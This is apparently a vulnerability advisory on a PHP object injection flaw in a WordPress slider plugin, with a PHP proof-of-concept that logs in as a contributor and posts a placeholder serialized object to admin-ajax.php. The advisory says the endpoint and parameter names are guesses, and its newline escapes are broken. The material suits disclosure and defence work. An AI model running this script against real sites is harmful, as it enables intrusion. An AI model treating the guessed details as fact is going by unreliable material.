Atomic Edge analysis of CVE-2026-22346 (metadata-based):
This vulnerability is an authenticated PHP object injection flaw in the Slider Responsive Slideshow plugin for WordPress. Attackers with contributor-level access or higher can exploit deserialization of untrusted input, potentially leading to arbitrary code execution or file manipulation if a suitable POP (property-oriented programming) chain exists. The CVSS score of 7.5 reflects a high-impact attack that requires network access and high privileges but has low attack complexity.
Atomic Edge research infers the root cause is insecure deserialization (CWE-502). A plugin function likely accepts serialized user input, such as from an AJAX request parameter or a saved setting, and passes it directly to an unserialize() call without validation. The vulnerability description confirms the flaw exists in versions up to 1.5.4. The absence of a known POP chain within the plugin is confirmed, but the potential for exploitation via external POP chains is inferred from the vulnerability type.
Exploitation likely involves an authenticated user submitting a crafted serialized object to a WordPress AJAX endpoint. The attacker would send a POST request to /wp-admin/admin-ajax.php with an action parameter containing a plugin-specific hook, like wp_ajax_slider_responsive_slideshow_action. Another parameter, perhaps named data or settings, would contain the malicious serialized payload. The payload would consist of a serialized PHP object designed to trigger a destructor or wakeup method if a POP chain is present.
Remediation requires replacing the insecure unserialize() call with a safe alternative. The plugin should implement proper input validation, such as using json_decode() for JSON data or implementing a strict allowlist of expected data types. If serialization is necessary, the plugin must use a signed, integrity-checked format or the PHP serialize()/unserialize() functions only on data from trusted sources. Atomic Edge analysis infers these fixes based on the CWE classification, as no patched version is available for direct comparison.
The impact of successful exploitation is severe. An attacker could achieve arbitrary code execution, sensitive data disclosure, or file deletion by leveraging a POP chain from another installed plugin or theme. This could lead to complete site compromise, data theft, or defacement. The requirement for contributor-level access limits immediate exploitation to untrusted users with posting privileges, but such users are common in multi-author WordPress sites.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22346 - Slider Responsive Slideshow – Image slider, Gallery slideshow <= 1.5.4 - Authenticated (Contributor+) PHP Object Injection
<?php
/**
* Proof of Concept for CVE-2026-22346.
* This script demonstrates the attack vector for authenticated PHP object injection.
* Assumptions based on metadata:
* 1. The vulnerability is triggered via an AJAX endpoint (common WordPress pattern).
* 2. The AJAX action name is derived from the plugin slug.
* 3. A parameter named 'data' or similar contains the serialized payload.
* 4. A contributor-level WordPress account is available (credentials required).
*
* WARNING: This is for authorized security testing only.
* The payload uses a generic Serializable class for demonstration.
* A real exploit requires a viable POP chain present on the target.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Define a simple, harmless serialized object for demonstration.
// In a real attack, this would be a crafted object for a specific POP chain.
$malicious_serialized = 'O:8:"TestClass":1:{s:4:"data";s:12:"Demonstration";}';
// Initialize cURL session for login to obtain authentication cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check if login likely succeeded by looking for a dashboard redirect or absence of login error.
if (strpos($response, 'dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Now send the exploit payload to the AJAX endpoint.
// The action name is inferred from the plugin slug. Common patterns include 'slider_responsive_slideshow_save' or 'slider_responsive_action'.
$ajax_payload = [
'action' => 'slider_responsive_slideshow_save', // Inferred parameter; may vary.
'data' => $malicious_serialized, // Inferred parameter containing the serialized object.
'nonce' => '' // Nonce may be required; its absence could be part of the vulnerability.
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_payload));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze response.
echo "HTTP Response Code: $http_coden";
echo "Response Body (first 500 chars): " . substr($response, 0, 500) . "n";
// A successful object injection may cause errors, unexpected output, or no visible change.
echo "Proof of Concept completed. Review server logs for potential unserialize() errors.n";
?>
